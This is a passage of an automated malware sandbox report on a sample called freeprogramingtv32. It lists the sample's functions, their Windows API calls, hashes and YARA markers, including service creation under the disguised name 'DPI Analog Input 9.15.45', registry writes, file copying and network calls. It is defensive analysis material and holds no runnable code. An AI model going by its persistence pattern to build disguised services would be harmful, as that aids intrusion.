Function 02B933B2 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

InterlockedCompareExchange.KERNEL32(?,00000000,00000000), ref: 02B933CC

Part of subcall function 02B932AB: __EH_prolog.LIBCMT ref: 02B932B0
Part of subcall function 02B932AB: RtlEnterCriticalSection.NTDLL(?), ref: 02B932C3
Part of subcall function 02B932AB: RtlLeaveCriticalSection.NTDLL(?), ref: 02B932EF

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: CriticalSection$CompareEnterExchangeH_prologInterlockedLeave
String ID:
API String ID: 1518410164-0
Opcode ID: b6ee4f7dbb4fd9aec3420fcc92912212d54a18043fb99f3fda5d2721ed2cb9eb
Instruction ID: f8dc645766683a64659094d2b0eeafd705c8e72eeb113aaa0dec4b6dacb6d22c
Opcode Fuzzy Hash: b6ee4f7dbb4fd9aec3420fcc92912212d54a18043fb99f3fda5d2721ed2cb9eb
Instruction Fuzzy Hash: A7015671614606AFDB04DF59DC85F55FBA9FF45320B1483AAE928C72C0EB70E811CBA4

Function 02B9E484 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B9E489

Part of subcall function 02B926DB: RtlEnterCriticalSection.NTDLL(?), ref: 02B92706
Part of subcall function 02B926DB: CreateWaitableTimerA.KERNEL32(00000000,00000000,00000000), ref: 02B9272B
Part of subcall function 02B926DB: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,02BB5A93), ref: 02B92738
Part of subcall function 02B926DB: SetWaitableTimer.KERNELBASE(?,?,000493E0,00000000,00000000,00000000), ref: 02B92778
Part of subcall function 02B926DB: RtlLeaveCriticalSection.NTDLL(?), ref: 02B927D9

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: CriticalSectionTimerWaitable$CreateEnterErrorH_prologLastLeave
String ID:
API String ID: 4293676635-0
Opcode ID: de622fc2683226139f203d708f7a14187a8c41a7a46d5f5d5bf35b71ca634798
Instruction ID: 0d50f1b8f9efa72e87b2e35523a336a77b49805b155b380e7305b9ad2584aa79
Opcode Fuzzy Hash: de622fc2683226139f203d708f7a14187a8c41a7a46d5f5d5bf35b71ca634798
Instruction Fuzzy Hash: 2B01D0B1910B059FC719CF0AC54499AFBF4EF88300B15C6EED4498B721E3B4AA40CF90

Function 02B9E263 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B9E268

Part of subcall function 02BA3A8F: _malloc.LIBCMT ref: 02BA3AA7

Part of subcall function 02B9E484: __EH_prolog.LIBCMT ref: 02B9E489

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: H_prolog$_malloc
String ID:
API String ID: 4254904621-0
Opcode ID: f0719211b1c068c5723dadc4522bffaa57a082a67d1c8c34b68882bec0f0878d
Instruction ID: e037df52b48030528141d0032bd3f4b55d1c57edc13f0c61b8c26ff66593fc7a
Opcode Fuzzy Hash: f0719211b1c068c5723dadc4522bffaa57a082a67d1c8c34b68882bec0f0878d
Instruction Fuzzy Hash: 18E0EC71A15605ABDF5EDFA8D8117BD77A6EF44300F0486EEA80996740DBB09A008A55

Function 02BA3395 Relevance: 1.5, APIs: 1, Instructions: 19COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 02BA5B9A: __getptd_noexit.LIBCMT ref: 02BA5B9B
Part of subcall function 02BA5B9A: __amsg_exit.LIBCMT ref: 02BA5BA8

Part of subcall function 02BA33D6: __getptd_noexit.LIBCMT ref: 02BA33DA
Part of subcall function 02BA33D6: __freeptd.LIBCMT ref: 02BA33F4
Part of subcall function 02BA33D6: RtlExitUserThread.NTDLL(?,00000000,?,02BA33B6,00000000), ref: 02BA33FD

__XcptFilter.LIBCMT ref: 02BA33C2

Part of subcall function 02BA8CD4: __getptd_noexit.LIBCMT ref: 02BA8CD8

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: __getptd_noexit$ExitFilterThreadUserXcpt__amsg_exit__freeptd
String ID:
API String ID: 1405322794-0
Opcode ID: 78196f5a6f1163bddb0569ef6dfc03d2b5b0726696826700104b8d6a8a9e4ece
Instruction ID: 85a4caba76934a878a4487155862666ffe07dab2e2028e38ba09b0cdd8dfb64a
Opcode Fuzzy Hash: 78196f5a6f1163bddb0569ef6dfc03d2b5b0726696826700104b8d6a8a9e4ece
Instruction Fuzzy Hash: 81E0ECB1A09604DFEB08BBA4D915E6E77B6AF44302F2045C8E102AB661DB7899409F20

Function 00402544 Relevance: 1.5, APIs: 1, Instructions: 9registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNELBASE ref: 0040B4D8

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 2f5546d42dbded5492406fa5634484d3e2a691636cb5c8f45c472d0c1f33c238
Instruction ID: 9fba75ce85deb35514dbf5dfc8f120a2937be936b9c9105cc2ffa8b37696fb59
Opcode Fuzzy Hash: 2f5546d42dbded5492406fa5634484d3e2a691636cb5c8f45c472d0c1f33c238
Instruction Fuzzy Hash: 7CC08C30944012EBCB004F704C0897E3B70FA00380320483A8013B0080D73C8201ABEE

Function 0040B174 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32 ref: 0040B26C

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 5f13639d227a5180cf33ac7db06930f1d45a0f412a67e8bf912abbc4f5309a00
Instruction ID: c64aef9cf31025abd9bbc16c16fc64d709cc8564973be6414f4394b75595928c
Opcode Fuzzy Hash: 5f13639d227a5180cf33ac7db06930f1d45a0f412a67e8bf912abbc4f5309a00
Instruction Fuzzy Hash: 65C048A0448002EEC780ABA04AE842D25A9E58030A73088BA9203B61E0C3380512FABF

Function 0040258B Relevance: 1.5, APIs: 1, Instructions: 9registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.KERNELBASE ref: 0040258B

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 37d0c2b5f7ea5079e41914024c50397ae092fff0add29827d5b05b26190a5dd7
Instruction ID: 61f11328e0078924464a0d204448862961e808c8b6bb523d307ccc9655c3b69a
Opcode Fuzzy Hash: 37d0c2b5f7ea5079e41914024c50397ae092fff0add29827d5b05b26190a5dd7
Instruction Fuzzy Hash: 7AC08C34684000D6EE208B20AE88AE136B4E304704F0101B2E61AB41D1E3B449619E0D

Function 00402212 Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNELBASE(?), ref: 00402286

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 2494182743a9f3d64644e45db17fa4447cca1a3aa7dbfe65c867eefc36131674
Instruction ID: 2ea80acedabe047d581b5f3e6d1bd2544320f2eb53d192504ce874644fc23cd4
Opcode Fuzzy Hash: 2494182743a9f3d64644e45db17fa4447cca1a3aa7dbfe65c867eefc36131674
Instruction Fuzzy Hash: 1DC08C30404102DFEB009FE0C9484283AB4BB05340320447BE803B5290C3748001EBAA

Function 0040B5BD Relevance: 1.5, APIs: 1, Instructions: 8fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32 ref: 0040B5BD

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: addcd9836e1a5233fd9991ec5594032736799085599f882b091875907dfdae55
Instruction ID: 04cc51c922ee72ce98c7558a78240265d32db3dc63b300e514d6cee8f4e59500
Opcode Fuzzy Hash: addcd9836e1a5233fd9991ec5594032736799085599f882b091875907dfdae55
Instruction Fuzzy Hash: 85B0123428C200D1D50006100B5EB32122C8B44781F3804736617FA5D5CAFD8042742F

Function 0040229B Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNELBASE ref: 0040B43D

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: 38c847981bb38af88225e3e130c2bae22115b7cd790b24d25ae8070ff4548b45
Instruction ID: 95dcf0b4612f5c9754a741b350396428ebd8c9d8f75c94f14ccdfc109a105aad
Opcode Fuzzy Hash: 38c847981bb38af88225e3e130c2bae22115b7cd790b24d25ae8070ff4548b45
Instruction Fuzzy Hash: 44A01120A8A220C2C00023802E2882A2828A808B0232080332223B00C003BA000222BF

Function 00402784 Relevance: 1.5, APIs: 1, Instructions: 3registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE ref: 00402784

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 9ee1dd0019134c0fe8d9e51aa40ad622ebdfd30c20794c4c00d2e6b719473a1b
Instruction ID: a6798a8c712b94f45481812a4b2e2f5732e182ca6ce92c88fcfb46d6b76dec2c
Opcode Fuzzy Hash: 9ee1dd0019134c0fe8d9e51aa40ad622ebdfd30c20794c4c00d2e6b719473a1b
Instruction Fuzzy Hash: D9900220685101EAF2044A326E1C6152664690474575145355403E0190D7758011552D

Function 0040B1B2 Relevance: 1.5, APIs: 1, Instructions: 3registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNELBASE ref: 0040B1B2

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 4ccf99fc5f99c087ededda1b07608fef6dc4e2a9571d10654a9b771f7e0f96ff
Instruction ID: 72291223f85326530d859764b5b85184578b702a80253aa835319b5092d025c3
Opcode Fuzzy Hash: 4ccf99fc5f99c087ededda1b07608fef6dc4e2a9571d10654a9b771f7e0f96ff
Instruction Fuzzy Hash: D3900231999141A7C10047909B1D9152D90651870132241B77703714D485BD6013560F

Function 02BA20A0 Relevance: 1.3, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 02BA1550: OpenEventA.KERNEL32(00100002,00000000,00000000,BE553FAB), ref: 02BA15F0
Part of subcall function 02BA1550: CloseHandle.KERNEL32(00000000), ref: 02BA1605
Part of subcall function 02BA1550: ResetEvent.KERNEL32(00000000,BE553FAB), ref: 02BA160F
Part of subcall function 02BA1550: CloseHandle.KERNEL32(00000000,BE553FAB), ref: 02BA1644

TlsSetValue.KERNEL32(00000029,?), ref: 02BA20EA

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$OpenResetValue
String ID:
API String ID: 1556185888-0
Opcode ID: 85a8eb4a645fb3f2c54957d0f35c4f80a4d44d4aa48358c3d7b912ba849a21dc
Instruction ID: dbf3e63931630804f2b05bba1ca3089b6d430b014fd23d738deeb47f382ab467
Opcode Fuzzy Hash: 85a8eb4a645fb3f2c54957d0f35c4f80a4d44d4aa48358c3d7b912ba849a21dc
Instruction Fuzzy Hash: 0601A276A44204AFD710CF5CDC45F9ABBE8FB09670F1047AAF829D3390DB7169108BA0

Function 00402573 Relevance: 1.3, APIs: 1, Instructions: 32stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNELBASE ref: 0040B095

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: c680f9321ffb2795063605ad27ad6f3670fe31d1a17b3adf35ee4f36706b9475
Instruction ID: 18a693d7581b24c427e3eb0ea3c034f2b117684e6928f543a2870ce0a6dbc47d
Opcode Fuzzy Hash: c680f9321ffb2795063605ad27ad6f3670fe31d1a17b3adf35ee4f36706b9475
Instruction Fuzzy Hash: 27F0B470D09242EBDB015B608D5D56E77B0EB0131572440BBD922B61D1D3BC15159A4F

Function 004022A1 Relevance: 1.3, APIs: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32 ref: 004022A1

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: 60b91e8680f25560b610cb838e9f37f51c7105b02bd0ba24c675bff51400aecd
Instruction ID: 2054b4fd39c2606445503ce7959900ab0f3dea9fcdd1b9e0384b09bd98d31f4a
Opcode Fuzzy Hash: 60b91e8680f25560b610cb838e9f37f51c7105b02bd0ba24c675bff51400aecd
Instruction Fuzzy Hash: 72D01730908008EACB14CBA1CE498AE7678EA04344B2000B7D803B11E1D77C9A06EA9E

Function 00402344 Relevance: 1.3, APIs: 1, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?), ref: 0040B855

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1b351df1ea7fb5f52790fd532d97bff4ab9f760ba618a6875d7f2db2019d22d6
Instruction ID: 27d430b84107eb8c3d33d50eb7b463d1072ab48d8dc88e2b40c365a009dd6e41
Opcode Fuzzy Hash: 1b351df1ea7fb5f52790fd532d97bff4ab9f760ba618a6875d7f2db2019d22d6
Instruction Fuzzy Hash: A1C08C32045602FBE7012BA04D017E27B55FB08344F6A4439EE02221A0877A5826A6DF

Function 0040B160 Relevance: 1.3, APIs: 1, Instructions: 6sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE ref: 0040B160

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: c3c04b999d176e8e41d11d6c7bf4e37f1d741f7e928365ee3a4038cb35ecec84
Instruction ID: b6cf6bc5a1628d9bdcfdaba0c6c60b10926de35f039921a88a62ddeaff12d55e
Opcode Fuzzy Hash: c3c04b999d176e8e41d11d6c7bf4e37f1d741f7e928365ee3a4038cb35ecec84
Instruction Fuzzy Hash: 55B01230484500F7D2010B105D0CF64B630F708340F210131B103344D0C37E2422A7CE

Function 0040B219 Relevance: 1.3, APIs: 1, Instructions: 5sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE ref: 0040B219

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: e4cb724f7270be88b450b238f886d7074c0bb9d49c67e2c1bb41180ffc3b92a3
Instruction ID: 291086371d425e456660cdf191cb7b4de608090c6a0f07ed662f117ce2112aa5
Opcode Fuzzy Hash: e4cb724f7270be88b450b238f886d7074c0bb9d49c67e2c1bb41180ffc3b92a3
Instruction Fuzzy Hash: DBB01230488000D6C60107706F0DF243531B300300F110176E607304E0C3750056660F

Non-executed Functions

Function 0040265E Relevance: 6.0, APIs: 4, Instructions: 23serviceCOMMON

Download Yara Rule

APIs

CreateServiceA.ADVAPI32 ref: 00402675
CloseServiceHandle.ADVAPI32(?), ref: 00402686
CloseServiceHandle.ADVAPI32(?), ref: 0040B255
CloseServiceHandle.ADVAPI32(00000000), ref: 0040B30C

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: Service$CloseHandle$Create
String ID:
API String ID: 2095555506-0
Opcode ID: 2c177fea5e3b1ca242a291b39c34e61f142856b21c271f09049a033fe1dac573
Instruction ID: 2a102d6e87c8b6f1c9538181c12bd26dfb7c3ee1b21278c10020f49b35fc6be6
Opcode Fuzzy Hash: 2c177fea5e3b1ca242a291b39c34e61f142856b21c271f09049a033fe1dac573
Instruction Fuzzy Hash: 39E09231698104DACB10AB909E5DA593F32DB61314B764062E202BB190C77A8E16EFAD

Function 02BA08B8 Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32(00001200,00000000,?,00000400,?,00000010,00000000), ref: 02BA08E2
GetLastError.KERNEL32(?,00000400,?,00000010,00000000), ref: 02BA08EA

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: dd03867116efb9cd43d4c093e92a77269bfb8257ad90c17feacd3712422c3611
Instruction ID: af3101a8307ad8cb3f79a444706a23d3f327737dfd7465dde3e7670ad4936eee
Opcode Fuzzy Hash: dd03867116efb9cd43d4c093e92a77269bfb8257ad90c17feacd3712422c3611
Instruction Fuzzy Hash: 35F0903020C301CFEB14DE29C8A1B2EB7E4FB9C744F500D2CF69592191D370E1418B5A

Function 02BA9468 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,02BA4DD6,?,?,?,00000001), ref: 02BA946D
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 02BA9476

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 952344cc785edcc80735a76b1a546abfa8d99ec0f80621c5dfd256e918dcd972
Instruction ID: bba47502cf8c6732e6c5b4dfa992ac5e235c18dbfcac8d42cd7e18ca95d1c74b
Opcode Fuzzy Hash: 952344cc785edcc80735a76b1a546abfa8d99ec0f80621c5dfd256e918dcd972
Instruction Fuzzy Hash: 3FB09B3248410CEBC7021B91EC097457F18E744691F404812F50D454508FA154206651

Function 004021E9 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

StartServiceCtrlDispatcherA.ADVAPI32 ref: 00402719

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: CtrlDispatcherServiceStart
String ID:
API String ID: 3789849863-0
Opcode ID: 9f13255892c8bf08ac00eb1bf696ad9aa7a534aed4384b8351f9cd11c7335cb2
Instruction ID: 6b6b6efe36a3f1568233d432dcb729bc3d4173121f0198e184196ca36f25e975
Opcode Fuzzy Hash: 9f13255892c8bf08ac00eb1bf696ad9aa7a534aed4384b8351f9cd11c7335cb2
Instruction Fuzzy Hash: 86B0923320C004CAEA0196A8BB6C6AA2248A68A36A7205C33C10BF24C2D2FD8057613B

Function 02B924E1 Relevance: 21.2, APIs: 14, Instructions: 173COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B924E6
InterlockedCompareExchange.KERNEL32(?,00000000,00000001), ref: 02B924FC
RtlEnterCriticalSection.NTDLL(?), ref: 02B9250E
RtlLeaveCriticalSection.NTDLL(?), ref: 02B9256D
SetLastError.KERNEL32(00000000,?,74DEDFB0), ref: 02B9257F
GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000001F4,?,74DEDFB0), ref: 02B92599
GetLastError.KERNEL32(?,74DEDFB0), ref: 02B925A2
InterlockedCompareExchange.KERNEL32(?,00000001,00000000), ref: 02B925F0
InterlockedDecrement.KERNEL32(00000002), ref: 02B9262F
InterlockedExchange.KERNEL32(00000000,00000000), ref: 02B9268E
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 02B92699
InterlockedExchange.KERNEL32(00000000,00000001), ref: 02B926AD
PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000,00000000,?,74DEDFB0), ref: 02B926BD
GetLastError.KERNEL32(?,74DEDFB0), ref: 02B926C7

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: Interlocked$Exchange$ErrorLast$CompareCompletionCriticalQueuedSectionStatus$DecrementEnterH_prologLeavePost
String ID:
API String ID: 1213838671-0
Opcode ID: afa0a24152aa112a1c0d8b3cbf79e8d7b65e3e83c3a1868f9110d2f423ae7b7f
Instruction ID: c0c5e8efe65096904305608bc7a985177d37ba5bd8023791d468046da20260e6
Opcode Fuzzy Hash: afa0a24152aa112a1c0d8b3cbf79e8d7b65e3e83c3a1868f9110d2f423ae7b7f
Instruction Fuzzy Hash: DA611C71D00209AFCF11DFA4C984AAEFBB9FF48350F5049AAE916E3640DB74A954DF60

Function 02B94603 Relevance: 19.9, APIs: 13, Instructions: 442networkCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B94608

Part of subcall function 02BA3A8F: _malloc.LIBCMT ref: 02BA3AA7

htons.WS2_32(?), ref: 02B94669
htonl.WS2_32(?), ref: 02B9468C
htonl.WS2_32(00000000), ref: 02B94693
htons.WS2_32(00000000), ref: 02B94747
_sprintf.LIBCMT ref: 02B9475D

Part of subcall function 02B988BF: _memmove.LIBCMT ref: 02B988DF

htons.WS2_32(?), ref: 02B946B0

Part of subcall function 02B9966A: __EH_prolog.LIBCMT ref: 02B9966F
Part of subcall function 02B9966A: RtlEnterCriticalSection.NTDLL(00000020), ref: 02B996EA
Part of subcall function 02B9966A: RtlLeaveCriticalSection.NTDLL(00000020), ref: 02B99708

Part of subcall function 02B91BA7: __EH_prolog.LIBCMT ref: 02B91BAC
Part of subcall function 02B91BA7: RtlEnterCriticalSection.NTDLL ref: 02B91BBC
Part of subcall function 02B91BA7: RtlLeaveCriticalSection.NTDLL ref: 02B91BEA
Part of subcall function 02B91BA7: RtlEnterCriticalSection.NTDLL ref: 02B91C13
Part of subcall function 02B91BA7: RtlLeaveCriticalSection.NTDLL ref: 02B91C56

Part of subcall function 02B9DE26: __EH_prolog.LIBCMT ref: 02B9DE2B

htonl.WS2_32(?), ref: 02B9497C
htonl.WS2_32(00000000), ref: 02B94983
htonl.WS2_32(00000000), ref: 02B949C8
htonl.WS2_32(00000000), ref: 02B949CF
htons.WS2_32(?), ref: 02B949EF
htons.WS2_32(?), ref: 02B949F9

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: CriticalSectionhtonl$htons$H_prolog$EnterLeave$_malloc_memmove_sprintf
String ID:
API String ID: 1645262487-0
Opcode ID: 4a0df4c791a2fdc430b0286ec3cfdb04412d0d5ed1c55ac7c75c5b468cf076d5
Instruction ID: 6726963861a4fc44ef1ae7403d4b3c9ba6ea502b0ab1fd4b887176825e6226d9
Opcode Fuzzy Hash: 4a0df4c791a2fdc430b0286ec3cfdb04412d0d5ed1c55ac7c75c5b468cf076d5
Instruction Fuzzy Hash: A6023B72D00259DFDF15DFA4C844BEEBBB9AF09304F1045AAE505B7280DB746A89CFA1

Function 004023B3 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 75registrysynchronizationthreadCOMMON

Download Yara Rule

APIs

RegisterServiceCtrlHandlerA.ADVAPI32(DPI Analog Input 9.15.45,Function_0000235E), ref: 004023C1
SetServiceStatus.ADVAPI32(0040A0E0), ref: 00402420
GetLastError.KERNEL32 ref: 00402422
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0040242F
GetLastError.KERNEL32 ref: 00402450
SetServiceStatus.ADVAPI32(0040A0E0), ref: 00402480
CreateThread.KERNEL32(00000000,00000000,Function_000022CB,00000000,00000000,00000000), ref: 0040248C
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00402495
CloseHandle.KERNEL32(?,?,Function_000022CB), ref: 004024A1
SetServiceStatus.ADVAPI32(0040A0E0), ref: 004024CA

Strings

DPI Analog Input 9.15.45, xrefs: 004023BC

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

